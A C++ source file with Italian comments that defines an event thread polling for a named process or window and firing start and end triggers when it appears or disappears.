Mornella/Mornella_Mobile/Process.cpp
#include "Event.h"
#include "Common.h"
#include "Conf.h"
#include "ProcessMonitor.h"
// Il formato dei parametri e' il seguente:
// Azione da triggerare a processo TERMINATO (TRIGGER_ACTION(myData->pParams))
// Tipo di ricerca da fare (window title [1] o nome del processo [0])
// Nome del processo in WCHAR NULL-terminato
// Abbiamo un thread per processo, tuttavia il thread e' estremamente lightweight poiche'
// effettua solo un busy-cycle, il resto viene fatto tutto dalla classe singleton Process.
DWORD WINAPI OnProcess(LPVOID lpParam) {
ProcessMonitor *processObj = ProcessMonitor::self();
Event *me = (Event *)lpParam;
Configuration *conf;
wstring processName;
BOOL onlyWindow, processActive = FALSE;
HANDLE eventHandle = me->getEvent();
me->setStatus(EVENT_RUNNING);
conf = me->getConf();
try {
processName = conf->getString(L"process");
} catch (...) {
processName = L"";
}
if (processName.empty()) {
me->setStatus(EVENT_STOPPED);
return 0;
}
try {
onlyWindow = conf->getBool(L"window");
} catch (...) {
onlyWindow = FALSE;
}
DBG_TRACE(L"Debug - Process.cpp - Process Event is Alive\n", 1, FALSE);
if (onlyWindow) {
LOOP {
if (me->shouldStop()) {
DBG_TRACE(L"Debug - Process.cpp - Process Event is Closing\n", 1, FALSE);
me->setStatus(EVENT_STOPPED);
return 0;
}
if (processActive == TRUE && processObj->IsWindowPresent(processName.c_str()) == FALSE) {
processActive = FALSE;
me->triggerEnd();
} else if (processActive == FALSE && processObj->IsWindowPresent(processName.c_str()) == TRUE) {
processActive = TRUE;
me->triggerStart();
}
WaitForSingleObject(eventHandle, 5000);
}
} else {
LOOP {
if (me->shouldStop()) {
DBG_TRACE(L"Debug - Process.cpp - Process Event is Closing\n", 1, FALSE);
me->setStatus(EVENT_STOPPED);
return 0;
}
if (processActive == TRUE && processObj->IsProcessRunningW(processName.c_str()) == FALSE) {
processActive = FALSE;
me->triggerEnd();
} else if (processActive == FALSE && processObj->IsProcessRunningW(processName.c_str()) == TRUE) {
processActive = TRUE;
me->triggerStart();
}
WaitForSingleObject(eventHandle, 5000);
}
}
return 0;
}